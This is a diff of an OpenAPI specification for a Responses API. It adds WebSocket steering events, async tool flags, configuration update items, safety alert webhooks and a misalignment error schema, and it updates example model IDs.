+ example: cnfu_123
+ - type: 'null'
+ type:
+ type: string
+ enum:
+ - configuration_update
+ description: The item type. Always `configuration_update`.
+ default: configuration_update
+ x-stainless-const: true
+ reasoning:
+ type: object
+ description: Updates to reasoning configuration. Only effort is supported.
+ properties:
+ effort:
+ $ref: '#/components/schemas/ReasoningEffort'
+ description: |
+ The reasoning effort to use for subsequent responses until another
+ configuration update replaces it.
+ required:
+ - type
ResponseContentPartAddedEvent:
type: object
description: Emitted when a new content part is added.
@@ -52750,7 +52892,7 @@ components:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [],
"parallel_tool_calls": true,
"previous_response_id": null,
@@ -52867,6 +53009,8 @@ components:
type: string
description: |
A human-readable description of the error.
+ misalignment:
+ $ref: '#/components/schemas/MisalignmentErrorDetailsResource'
required:
- code
- message
@@ -52881,6 +53025,7 @@ components:
- invalid_prompt
- data_residency_mismatch
- bio_policy
+ - misalignment_policy_violation
- vector_store_timeout
- invalid_image
- invalid_image_format
@@ -52985,7 +53130,7 @@ components:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [],
"previous_response_id": null,
"reasoning_effort": null,
@@ -53525,7 +53670,7 @@ components:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [],
"parallel_tool_calls": true,
"previous_response_id": null,
@@ -53554,6 +53699,10 @@ components:
type: object
description: |
An event that is emitted when a response finishes as incomplete.
+
+ Over WebSocket, steering can finish a response with
+ `response.incomplete_details.reason` set to `steered`, followed automatically
+ by a successor `response.created` that commits the queued steering input.
properties:
type:
type: string
@@ -53591,7 +53740,7 @@ components:
},
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [],
"previous_response_id": null,
"reasoning_effort": null,
@@ -54197,7 +54346,7 @@ components:
- type: 'null'
model:
description: |
- Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI
+ Model ID used to generate the response, like `gpt-6-astra`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models)
to browse and compare available models.
@@ -54699,6 +54848,519 @@ components:
"refusal": "final refusal text",
"sequence_number": 1
}
+ ResponseSteerAcceptedEvent:
+ type: object
+ title: ResponseSteerAcceptedEvent
+ description: |
+ Emitted when steering input has been validated and queued. Acceptance means
+ the server owns the input, not that it has been applied. The successor's
+ `response.created` event is the commit point. If accepted input cannot be
+ committed, `response.steer.failed` returns it with the same steering ID.
+
+ When the response stops for client-owned tool output or approval, the input
+ remains queued and `response.steer.pending` is emitted after
+ `response.completed`. Fill the pending event's `required_input` stubs with
+ saved results and send one matching explicit `response.create` per parent.
+ Do not resend accepted input while it is still queued.
+ properties:
+ type:
+ type: string
+ enum:
+ - response.steer.accepted
+ description: The event discriminator. Always `response.steer.accepted`.
+ x-stainless-const: true
+ sequence_number:
+ type: integer
+ description: The sequence number for this event.
+ steer:
+ type: object
+ description: The accepted steering submission.
+ properties:
+ id:
+ type: string
+ description: The ID assigned to the steering submission.
+ previous_response_id:
+ type: string
+ description: The ID of the response being steered.
+ required:
+ - id
+ - previous_response_id
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present when
+ the target response's `response.create` event supplied a `stream_id`.
+ required:
+ - type
+ - sequence_number
+ - steer
+ x-oaiMeta:
+ name: response.steer.accepted
+ group: responses
+ example: |
+ {
+ "type": "response.steer.accepted",
+ "sequence_number": 2,
+ "steer": {
+ "id": "steer_456",
+ "previous_response_id": "resp_123"
+ }
+ }
+ ResponseSteerErrorCode:
+ title: ResponseSteerErrorCode
+ description: |
+ A machine-readable steering error code. Clients should handle unknown
+ values because additional codes may be introduced. Known values include:
+ - `response_not_found`: The target response is not available on this connection.
+ - `invalid_input`: The event or input failed validation.
+ - `steering_not_supported`: The model or response execution mode does not support steering.
+ - `too_many_pending_steers`: Too much steering input is pending for the response.
+ - `response_already_completed`: The response completed and is no longer accepting steering input.
+ - `response_not_active`: The response is no longer accepting steering input.
+ - `successor_creation_failed`: The successor response could not be created.
+ anyOf:
+ - type: string
+ enum:
+ - response_not_found
+ - invalid_input
+ - steering_not_supported
+ - too_many_pending_steers
+ - response_already_completed
+ - response_not_active
+ - successor_creation_failed
+ - type: string
+ ResponseSteerEvent:
+ type: object
+ title: ResponseSteerEvent
+ additionalProperties: false
+ description: |
+ Queues user input to steer a response on this WebSocket connection. Input
+ can contain text, images, and files. Steering is supported only for
+ single-agent responses on models and execution modes that support steering.
+ Responses bound to a conversation or using automatic compaction do not
+ support steering.
+
+ A `response.steer.accepted` event acknowledges that the server owns the
+ queued input, not that it has been applied. The successor's `response.created`
+ event is the commit point. Input that cannot be committed is returned in
+ `response.steer.failed`.
+
+ Steering may cause the active response to finish at a safe output boundary
+ with `response.incomplete` and `incomplete_details.reason` set to `steered`,
+ followed automatically by a successor `response.created`. Normal completion
+ can also be followed by an automatic successor. Automatic successors inherit
+ the previous response's settings and continue from it with the queued input.
+
+ If the response stops for client-owned tool output or approval, accepted
+ steering input remains queued and `response.steer.pending` is emitted after
+ `response.completed`. Fill the `required_input` stubs from that event with
+ saved tool results or approval decisions, and send one explicit
+ `response.create` per parent with the same `previous_response_id` and
+ WebSocket lane. Do not rerun tools or resend accepted steering input. The
+ queued input is prepended in submission order to that request's input, and
+ the explicit request retains its own settings.
+
+ This event accepts only `type`, `previous_response_id`, and `input`. Do not
+ send `stream_id`; the target response determines the WebSocket lane.
+ properties:
+ type:
+ type: string
+ enum:
+ - response.steer
+ description: The event discriminator. Always `response.steer`.
+ x-stainless-const: true
+ previous_response_id:
+ type: string
+ description: The ID of the response to steer on this WebSocket connection.
+ input:
+ $ref: '#/components/schemas/ResponseSteerInput'
+ required:
+ - type
+ - previous_response_id
+ - input
+ x-oaiMeta:
+ name: response.steer
+ group: responses
+ example: |
+ {
+ "type": "response.steer",
+ "previous_response_id": "resp_123",
+ "input": [
+ {
+ "type": "message",
+ "role": "user",
+ "content": [
+ {
+ "type": "input_text",
+ "text": "Prioritize the database rollout."
+ }
+ ]
+ }
+ ]
+ }
+ ResponseSteerFailedEvent:
+ type: object
+ title: ResponseSteerFailedEvent
+ description: |
+ Emitted when steering input is rejected or cannot be committed to a
+ successor response. Returns the original, uncommitted input so the client
+ can carry it into `response.create` when appropriate. Invalid input must
+ be corrected before retrying.
+
+ Failures after acceptance include the same steering ID. Failures before an
+ ID is allocated omit `steer.id`. A lost connection or missing acknowledgement
+ leaves the outcome unknown; it is not proof that the input was rejected.
+ properties:
+ type:
+ type: string
+ enum:
+ - response.steer.failed
+ description: The event discriminator. Always `response.steer.failed`.
+ x-stainless-const: true
+ sequence_number:
+ type: integer
+ description: The sequence number for this event.
+ steer:
+ type: object
+ description: The steering submission that could not be committed.
+ properties:
+ id:
+ type: string
+ description: |
+ The ID assigned to the steering submission, if one was allocated.
+ previous_response_id:
+ type: string
+ description: The ID of the response that was targeted for steering.
+ input:
+ $ref: '#/components/schemas/ResponseSteerInput'
+ required:
+ - previous_response_id
+ - input
+ error:
+ type: object
+ description: Information about why the input could not be committed.
+ properties:
+ type:
+ type: string
+ enum:
+ - invalid_request_error
+ description: The error type. Always `invalid_request_error`.
+ x-stainless-const: true
+ code:
+ $ref: '#/components/schemas/ResponseSteerErrorCode'
+ message:
+ type: string
+ description: A human-readable description of the error.
+ required:
+ - type
+ - code
+ - message
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event, when the target response is
+ available and its `response.create` event supplied a `stream_id`.
+ required:
+ - type
+ - sequence_number
+ - steer
+ - error
+ x-oaiMeta:
+ name: response.steer.failed
+ group: responses
+ example: |
+ {
+ "type": "response.steer.failed",
+ "sequence_number": 5,
+ "steer": {
+ "id": "steer_456",
+ "previous_response_id": "resp_123",
+ "input": [
+ {
+ "type": "message",
+ "role": "user",
+ "content": [
+ {
+ "type": "input_text",
+ "text": "Prioritize the database rollout."
+ }
+ ]
+ }
+ ]
+ },
+ "error": {
+ "type": "invalid_request_error",
+ "code": "successor_creation_failed",
+ "message": "We couldn't start the next response. Send this steering input again with response.create."
+ }
+ }
+ ResponseSteerInput:
+ title: ResponseSteerInput
+ description: |
+ Input to queue for a continuation of the response. Uses the same string or
+ input-item shape as `response.create.input`, with a non-empty array when
+ supplying input items.
+
+ Steering accepts only messages with the `user` role. Each message may
+ contain only `type`, `role`, and `content`, with `content` as a string or an
+ array of `input_text`, `input_image`, and `input_file` parts. The optional
+ `type` must be `message`. Other roles, tool outputs, and item types are not
+ supported for steering.
+ anyOf:
+ - type: string
+ title: Text input
+ description: A text input, equivalent to a message with the `user` role.
+ - $ref: '#/components/schemas/ResponseSteerInputItemList'
+ ResponseSteerInputItem:
+ title: Response steer input item
+ anyOf:
+ - $ref: '#/components/schemas/UserMessageItemParam'
+ - $ref: '#/components/schemas/FunctionCallOutputItemParam'
+ discriminator:
+ propertyName: type
+ ResponseSteerInputItemList:
+ type: array
+ title: Response steer input item list
+ description: A non-empty list of message inputs to queue for the response.
+ minItems: 1
+ items:
+ $ref: '#/components/schemas/ResponseSteerInputItem'
+ ResponseSteerPendingEvent:
+ type: object
+ title: ResponseSteerPendingEvent
+ description: |
+ Emitted when accepted steering input remains queued after the target
+ response completes. The server still owns the input. Do not resend it.
+ The successor's `response.created` event is the commit point.
+
+ When `reason` is `waiting_for_required_input`, this event follows
+ `response.completed` while the response waits for the tool results or
+ approval decisions identified by `required_input`. Copy those stubs, fill
+ their result fields using the ordinary `response.create` input schemas,
+ and submit one continuation per parent with the same `previous_response_id`
+ and WebSocket lane. Use saved results without rerunning tools. The queued
+ steering input is prepended in submission order to the continuation's
+ input. That explicit request retains its own settings.
+
+ This notification is emitted at most once per steering submission. Multiple
+ submissions for the same parent can report the same required inputs; they
+ do not each require a separate continuation.
+ properties:
+ type:
+ type: string
+ enum:
+ - response.steer.pending
+ description: The event discriminator. Always `response.steer.pending`.
+ x-stainless-const: true
+ sequence_number:
+ type: integer
+ description: The sequence number for this event.
+ steer:
+ type: object
+ description: The steering submission that remains queued.
+ properties:
+ id:
+ type: string
+ description: The ID assigned to the steering submission.
+ previous_response_id:
+ type: string
+ description: The ID of the response being steered.
+ required:
+ - id
+ - previous_response_id
+ reason:
+ $ref: '#/components/schemas/ResponseSteerPendingReason'
+ required_input:
+ type: array
+ minItems: 1
+ description: |
+ Input stubs identifying outstanding client-owned tool results or
+ approval decisions. Each stub contains identifying fields only; the
+ client supplies the result before including it in `response.create`.
+ items:
+ $ref: '#/components/schemas/ResponseSteerRequiredInput'
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present when
+ the target response's `response.create` event supplied a `stream_id`.
+ required:
+ - type
+ - sequence_number
+ - steer
+ - reason
+ - required_input
+ x-oaiMeta:
+ name: response.steer.pending
+ group: responses
+ example: |
+ {
+ "type": "response.steer.pending",
+ "sequence_number": 10,
+ "steer": {
+ "id": "steer_456",
+ "previous_response_id": "resp_123"
+ },
+ "reason": "waiting_for_required_input",
+ "required_input": [
+ {
+ "type": "function_call_output",
+ "call_id": "call_789",
+ "name": "lookup"
+ }
+ ]
+ }
+ ResponseSteerPendingReason:
+ title: ResponseSteerPendingReason
+ description: |
+ An extensible enum describing why accepted steering input is still queued.
+ Clients should handle unknown values because additional reasons may be
+ introduced. Known values include:
+ - `waiting_for_required_input`: The response is waiting for the tool results or approval decisions identified by `required_input`.
+ anyOf:
+ - type: string
+ enum:
+ - waiting_for_required_input
+ - type: string
+ ResponseSteerRequiredInput:
+ title: ResponseSteerRequiredInput
+ description: |
+ An input stub identifying an outstanding client-owned tool result or
+ approval decision. Copy the stub and fill the result fields using the
+ corresponding `response.create` input schema. Use saved results without
+ rerunning the tool. The server does not supply results, approval decisions,
+ or safety acknowledgements in these stubs.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - type: object
+ title: Required function tool call output
+ additionalProperties: false
+ description: |
+ Supply `output` using the function tool call output input schema.
+ properties:
+ type:
+ type: string
+ enum:
+ - function_call_output
+ x-stainless-const: true
+ call_id:
+ type: string
+ name:
+ type: string
+ required:
+ - type
+ - call_id
+ - name
+ - type: object
+ title: Required custom tool call output
+ additionalProperties: false
+ description: |
+ Supply `output` using the custom tool call output input schema. The
+ original custom tool call supplies the tool's name.
+ properties:
+ type:
+ type: string
+ enum:
+ - custom_tool_call_output
+ x-stainless-const: true
+ call_id:
+ type: string
+ required:
+ - type
+ - call_id
+ - type: object
+ title: Required computer tool call output
+ additionalProperties: false
+ description: |
+ Supply `output` using the computer tool call output input schema,
+ including any required `acknowledged_safety_checks`.
+ properties:
+ type:
+ type: string
+ enum:
+ - computer_call_output
+ x-stainless-const: true
+ call_id:
+ type: string
+ required:
+ - type
+ - call_id
+ - type: object
+ title: Required shell tool call output
+ additionalProperties: false
+ description: |
+ Supply `output` using the shell tool call output input schema. Each
+ output entry includes `stdout`, `stderr`, and `outcome`.
+ properties:
+ type:
+ type: string
+ enum:
+ - shell_call_output
+ x-stainless-const: true
+ call_id:
+ type: string
+ required:
+ - type
+ - call_id
+ - type: object
+ title: Required apply patch tool call output
+ additionalProperties: false
+ description: |
+ Supply `status` and optional `output` using the apply patch tool call
+ output input schema.
+ properties:
+ type:
+ type: string
+ enum:
+ - apply_patch_call_output
+ x-stainless-const: true
+ call_id:
+ type: string
+ required:
+ - type
+ - call_id
+ - type: object
+ title: Required tool search output
+ additionalProperties: false
+ description: |
+ Supply `tools` using the tool search output input schema, retaining
+ `execution: "client"`.
+ properties:
+ type:
+ type: string
+ enum:
+ - tool_search_output
+ x-stainless-const: true
+ call_id:
+ type: string
+ execution:
+ type: string
+ enum:
+ - client
+ x-stainless-const: true
+ required:
+ - type
+ - call_id
+ - execution
+ - type: object
+ title: Required MCP approval response
+ additionalProperties: false
+ description: |
+ Supply `approve` using the MCP approval response input schema. An
+ optional `reason` can be supplied when denying the request. The original
+ approval request identifies the tool and server.
+ properties:
+ type:
+ type: string
+ enum:
+ - mcp_approval_response
+ x-stainless-const: true
+ approval_request_id:
+ type: string
+ required:
+ - type
+ - approval_request_id
ResponseStreamEvent:
description: Event emitted while a response is streamed.
anyOf:
@@ -55109,6 +55771,7 @@ components:
Client events accepted by the Responses WebSocket server.
anyOf:
- $ref: '#/components/schemas/ResponsesClientEventResponseCreate'
+ - $ref: '#/components/schemas/ResponseSteerEvent'
ResponsesClientEventResponseCreate:
allOf:
- type: object
@@ -55150,7 +55813,7 @@ components:
{
"type": "response.create",
"stream_id": "agent_1",
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"input": "Say hello."
}
ResponsesServerEvent:
@@ -55466,6 +56129,10 @@ components:
- title: ResponseWsIncomplete
description: |
An event that is emitted when a response finishes as incomplete.
+
+ Over WebSocket, steering can finish a response with
+ `response.incomplete_details.reason` set to `steered`, followed automatically
+ by a successor `response.created` that commits the queued steering input.
allOf:
- $ref: '#/components/schemas/ResponseIncompleteEvent'
- type: object
@@ -55865,6 +56532,9 @@ components:
when the originating `response.create` event supplied a
`stream_id`.
- $ref: '#/components/schemas/ResponseWsError'
+ - $ref: '#/components/schemas/ResponseSteerAcceptedEvent'
+ - $ref: '#/components/schemas/ResponseSteerPendingEvent'
+ - $ref: '#/components/schemas/ResponseSteerFailedEvent'
ResponsesWebSocketStreamEvent:
allOf:
- anyOf:
@@ -58772,7 +59442,7 @@ components:
"project_id": "proj_abc",
"user_id": "user-abc",
"api_key_id": "key_abc",
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"batch": false,
"service_tier": "default"
}
@@ -59126,7 +59796,7 @@ components:
"project_id": "proj_abc",
"user_id": "user-abc",
"api_key_id": "key_abc",
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"context_level": "medium"
}
User:
@@ -61332,77 +62002,108 @@ components:
"id": "resp_abc123"
}
}
- OAuthErrorCode:
- anyOf:
- - enum:
- - invalid_grant
- - invalid_subject_token
- - type: string
- BetaResponseStreamEvent:
- description: Event emitted while a response is streamed.
- anyOf:
- - $ref: '#/components/schemas/BetaResponseAudioDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseAudioDoneEvent'
- - $ref: '#/components/schemas/BetaResponseAudioTranscriptDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseAudioTranscriptDoneEvent'
- - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCodeDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCodeDoneEvent'
- - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCompletedEvent'
- - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallInterpretingEvent'
- - $ref: '#/components/schemas/BetaResponseCompletedEvent'
- - $ref: '#/components/schemas/BetaResponseContentPartAddedEvent'
- - $ref: '#/components/schemas/BetaResponseContentPartDoneEvent'
- - $ref: '#/components/schemas/BetaResponseCreatedEvent'
- - $ref: '#/components/schemas/BetaResponseErrorEvent'
- - $ref: '#/components/schemas/BetaResponseFileSearchCallCompletedEvent'
- - $ref: '#/components/schemas/BetaResponseFileSearchCallInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseFileSearchCallSearchingEvent'
- - $ref: '#/components/schemas/BetaResponseFunctionCallArgumentsDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseFunctionCallArgumentsDoneEvent'
- - $ref: '#/components/schemas/BetaResponseShellCallCommandAddedStreamingEvent'
- - $ref: '#/components/schemas/BetaResponseShellCallCommandDeltaStreamingEvent'
- - $ref: '#/components/schemas/BetaResponseShellCallCommandDoneStreamingEvent'
- - $ref: '#/components/schemas/BetaResponseShellCallOutputContentDeltaStreamingEvent'
- x-stainless-skip:
- - go
- - $ref: '#/components/schemas/BetaResponseShellCallOutputContentDoneStreamingEvent'
- - $ref: '#/components/schemas/BetaResponseInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseFailedEvent'
- - $ref: '#/components/schemas/BetaResponseIncompleteEvent'
- - $ref: '#/components/schemas/BetaResponseOutputItemAddedEvent'
- - $ref: '#/components/schemas/BetaResponseOutputItemDoneEvent'
- - $ref: '#/components/schemas/BetaResponseReasoningSummaryPartAddedEvent'
- - $ref: '#/components/schemas/BetaResponseReasoningSummaryPartDoneEvent'
- - $ref: '#/components/schemas/BetaResponseReasoningSummaryTextDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseReasoningSummaryTextDoneEvent'
- - $ref: '#/components/schemas/BetaResponseReasoningTextDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseReasoningTextDoneEvent'
- - $ref: '#/components/schemas/BetaResponseRefusalDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseRefusalDoneEvent'
- - $ref: '#/components/schemas/BetaResponseTextDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseTextDoneEvent'
- - $ref: '#/components/schemas/BetaResponseWebSearchCallCompletedEvent'
- - $ref: '#/components/schemas/BetaResponseWebSearchCallInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseWebSearchCallSearchingEvent'
- - $ref: '#/components/schemas/BetaResponseImageGenCallCompletedEvent'
- - $ref: '#/components/schemas/BetaResponseImageGenCallGeneratingEvent'
- - $ref: '#/components/schemas/BetaResponseImageGenCallInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseImageGenCallPartialImageEvent'
- - $ref: '#/components/schemas/BetaResponseMCPCallArgumentsDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseMCPCallArgumentsDoneEvent'
- - $ref: '#/components/schemas/BetaResponseMCPCallCompletedEvent'
- - $ref: '#/components/schemas/BetaResponseMCPCallFailedEvent'
- - $ref: '#/components/schemas/BetaResponseMCPCallInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseMCPListToolsCompletedEvent'
- - $ref: '#/components/schemas/BetaResponseMCPListToolsFailedEvent'
- - $ref: '#/components/schemas/BetaResponseMCPListToolsInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseOutputTextAnnotationAddedEvent'
- - $ref: '#/components/schemas/BetaResponseQueuedEvent'
- - $ref: '#/components/schemas/BetaResponseCustomToolCallInputDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseCustomToolCallInputDoneEvent'
- discriminator:
- propertyName: type
+ WebhookSafetyAlertCreated:
+ type: object
+ title: safety.alert.created
+ description: Sent when an approved safety alert is available for an API project.
+ required:
+ - id
+ - object
+ - created_at
+ - type
+ - data
+ properties:
+ id:
+ type: string
+ description: The unique ID of the webhook event.
+ object:
+ type: string
+ enum:
+ - event
+ x-stainless-const: true
+ description: Always `event`.
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp in seconds when the event was created.
+ type:
+ type: string
+ enum:
+ - safety.alert.created
+ x-stainless-const: true
+ description: Always `safety.alert.created`.
+ data:
+ type: object
+ additionalProperties: false
+ required:
+ - id
+ properties:
+ id:
+ type: string
+ pattern: ^alert_[0-9a-f]{32}$
+ description: The safety alert ID to pass to `GET /v1/safety/alerts/{id}`.
+ x-oaiMeta:
+ name: safety.alert.created
+ group: webhook-events
+ example: |
+ {
+ "id": "evt_123",
+ "object": "event",
+ "created_at": 1787659200,
+ "type": "safety.alert.created",
+ "data": {"id": "alert_0123456789abcdef0123456789abcdef"}
+ }
+ WebhookSafetyOrgAlertCreated:
+ type: object
+ title: safety.org_alert.created
+ description: Sent when an approved safety alert is available for an enterprise workspace.
+ required:
+ - id
+ - object
+ - created_at
+ - type
+ - data
+ properties:
+ id:
+ type: string
+ description: The unique ID of the webhook event.
+ object:
+ type: string
+ enum:
+ - event
+ x-stainless-const: true
+ description: Always `event`.
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp in seconds when the event was created.
+ type:
+ type: string
+ enum:
+ - safety.org_alert.created
+ x-stainless-const: true
+ description: Always `safety.org_alert.created`.
+ data:
+ type: object
+ additionalProperties: false
+ required:
+ - id
+ properties:
+ id:
+ type: string
+ pattern: ^alert_[0-9a-f]{32}$
+ description: The safety alert ID to pass to `GET /v1/safety/alerts/{id}`.
+ x-oaiMeta:
+ name: safety.org_alert.created
+ group: webhook-events
+ example: |
+ {
+ "id": "evt_123",
+ "object": "event",
+ "created_at": 1787659200,
+ "type": "safety.org_alert.created",
+ "data": {"id": "alert_0123456789abcdef0123456789abcdef"}
+ }
ModerationInputType:
type: string
enum:
@@ -62551,6 +63252,8 @@ components:
name:
type: string
description: The name of the function to call.
+ async:
+ type: boolean
description:
anyOf:
- type: string
@@ -62939,6 +63642,9 @@ components:
name:
type: string
description: The name of the custom tool, used to identify it in tool calls.
+ async:
+ type: boolean
+ description: Whether the tool response can be returned asynchronously versus immediately returned on next response creation.
description:
type: string
description: Optional description of the custom tool, used to provide more context.
@@ -62996,6 +63702,9 @@ components:
- function
default: function
x-stainless-const: true
+ async:
+ type: boolean
+ description: Whether the tool response can be returned asynchronously versus immediately returned on next response creation.
output_schema:
anyOf:
- additionalProperties: {}
@@ -64773,6 +65482,36 @@ components:
- object
- metadata
- created_at
+ _MisalignmentErrorType:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - potentially_unintended_data_transfer
+ - potentially_unintended_data_access
+ - potentially_unintended_destructive_activity
+ - other
+ _MisalignmentSteer:
+ properties:
+ message:
+ type: string
+ description: The public continuation instruction.
+ type: object
+ required:
+ - message
+ MisalignmentErrorDetailsResource:
+ properties:
+ error_type:
+ $ref: '#/components/schemas/_MisalignmentErrorType'
+ description: An optional classification; clients must accept additional values.
+ detailed_explanation:
+ type: string
+ description: The public explanation for this block.
+ steer:
+ $ref: '#/components/schemas/_MisalignmentSteer'
+ description: An optional public continuation instruction.
+ type: object
+ required: []
ImageGenOutputTokensDetails:
properties:
image_tokens:
@@ -65200,6 +65939,53 @@ components:
- object
- deleted
- id
+ SafetyAlertErrorType:
+ type: string
+ enum:
+ - potentially_unintended_data_transfer
+ - potentially_unintended_data_access
+ - potentially_unintended_destructive_activity
+ - other
+ SafetyAlertResource:
+ properties:
+ id:
+ type: string
+ object:
+ type: string
+ enum:
+ - safety.alert
+ default: safety.alert
+ x-stainless-const: true
+ created_at:
+ type: integer
+ format: unixtime
+ request_id:
+ type: string
+ response_id:
+ type: string
+ model:
+ type: string
+ request_paused:
+ type: boolean
+ description: Whether block registration succeeded for this request. This does not confirm that response execution stopped.
+ error_type:
+ $ref: '#/components/schemas/SafetyAlertErrorType'
+ reason:
+ anyOf:
+ - type: string
+ description: A customer-safe description derived from error_type, or null for zero data retention requests.
+ - type: 'null'
+ type: object
+ required:
+ - id
+ - object
+ - created_at
+ - request_id
+ - response_id
+ - model
+ - request_paused
+ - error_type
+ - reason
SpendLimitCurrency:
anyOf:
- type: string
@@ -65562,6 +66348,8 @@ components:
message:
type: string
description: A human-readable description of the error that was returned.
+ misalignment:
+ $ref: '#/components/schemas/MisalignmentErrorDetailsResource'
type: object
required:
- code
@@ -67432,6 +68220,48 @@ components:
- y
title: Coordinate
description: 'An x/y coordinate pair, e.g. `{ x: 100, y: 200 }`.'
+ UserMessageItemParam:
+ properties:
+ id:
+ anyOf:
+ - type: string
+ description: The unique ID of this message item.
+ example: msg_123
+ - type: 'null'
+ type:
+ type: string
+ enum:
+ - message
+ description: The item type. Always `message`.
+ default: message
+ x-stainless-const: true
+ role:
+ type: string
+ enum:
+ - user
+ description: The message role. Always `user`.
+ default: user
+ x-stainless-const: true
+ content:
+ description: The message content, as an array of content parts.
+ anyOf:
+ - items:
+ $ref: '#/components/schemas/ResponseSteerInputContent'
+ description: A piece of message content, such as text, an image, or a file.
+ type: array
+ - type: string
+ maxLength: 10485760
+ description: The message content, as a single string.
+ status:
+ anyOf:
+ - type: string
+ description: The status of the message item.
+ - type: 'null'
+ type: object
+ required:
+ - type
+ - role
+ - content
ErrorPayload:
properties:
type:
@@ -67457,6 +68287,8 @@ components:
type: object
description: The response headers that were emitted with the error, if any.
x-oaiTypeLabel: map
+ misalignment:
+ $ref: '#/components/schemas/MisalignmentErrorDetailsResource'
type: object
required:
- type
@@ -68200,6 +69032,9 @@ components:
name:
type: string
description: The name of the custom tool, used to identify it in tool calls.
+ async:
+ type: boolean
+ description: Whether the tool response can be returned asynchronously versus immediately returned on next response creation.
description:
type: string
description: Optional description of the custom tool, used to provide more context.
@@ -68294,6 +69129,9 @@ components:
- function
default: function
x-stainless-const: true
+ async:
+ type: boolean
+ description: Whether the tool response can be returned asynchronously versus immediately returned on next response creation.
output_schema:
anyOf:
- additionalProperties: {}
@@ -69240,6 +70078,8 @@ components:
name:
type: string
description: The name of the function to call.
+ async:
+ type: boolean
description:
anyOf:
- type: string
@@ -69452,6 +70292,7 @@ components:
- $ref: '#/components/schemas/BetaToolSearchCallItemParam'
- $ref: '#/components/schemas/BetaToolSearchOutputItemParam'
- $ref: '#/components/schemas/BetaAdditionalToolsItemParam'
+ - $ref: '#/components/schemas/BetaResponseConfigurationUpdateItemParam'
- $ref: '#/components/schemas/BetaReasoningItem'
- $ref: '#/components/schemas/BetaCompactionSummaryItemParam'
- $ref: '#/components/schemas/BetaImageGenToolCall'
@@ -69510,6 +70351,10 @@ components:
type: string
description: |
The input for the custom tool call generated by the model.
+ async:
+ type: boolean
+ description: |
+ Whether the custom tool call runs asynchronously.
required:
- type
- call_id
@@ -70817,6 +71662,42 @@ components:
- text
title: Summary text
description: A summary text from the model.
+ BetaResponseConfigurationUpdateItemParam:
+ type: object
+ description: |
+ An update to the conversation's response configuration. The configuration
+ remains in effect for subsequent responses until it is replaced by another
+ configuration update.
+ properties:
+ agent:
+ anyOf:
+ - $ref: '#/components/schemas/Beta_AgentTagParam'
+ description: The agent that produced this item.
+ - type: 'null'
+ id:
+ anyOf:
+ - type: string
+ description: The unique ID of the configuration update item.
+ example: cnfu_123
+ - type: 'null'
+ type:
+ type: string
+ enum:
+ - configuration_update
+ description: The item type. Always `configuration_update`.
+ default: configuration_update
+ x-stainless-const: true
+ reasoning:
+ type: object
+ description: Updates to reasoning configuration. Only effort is supported.
+ properties:
+ effort:
+ $ref: '#/components/schemas/BetaReasoningEffort'
+ description: |
+ The reasoning effort to use for subsequent responses until another
+ configuration update replaces it.
+ required:
+ - type
BetaAdditionalToolsItemParam:
properties:
agent:
@@ -71473,6 +72354,10 @@ components:
- in_progress
- completed
- incomplete
+ async:
+ type: boolean
+ description: |
+ Whether the function tool call runs asynchronously.
required:
- type
- call_id
@@ -72605,9 +73490,9 @@ components:
- $ref: '#/components/schemas/BetaModelIdsResponses'
- type: string
- type: 'null'
- description: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models) to browse and compare available models.
+ description: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models) to browse and compare available models.
BetaModelIdsResponses:
- example: gpt-5.6-sol
+ example: gpt-6-astra
anyOf:
- $ref: '#/components/schemas/BetaModelIdsShared'
- type: string
@@ -72633,7 +73518,7 @@ components:
- gpt-daybreak-red-latest
- gpt-5.6-cyber
BetaModelIdsShared:
- example: gpt-5.6-sol
+ example: gpt-6-astra
anyOf:
- type: string
- $ref: '#/components/schemas/ChatModel'
@@ -72652,11 +73537,43 @@ components:
- type: 'null'
type:
type: string
+ misalignment:
+ $ref: '#/components/schemas/BetaMisalignmentErrorDetailsResource'
required:
- type
- message
- param
- code
+ BetaMisalignmentErrorDetailsResource:
+ properties:
+ error_type:
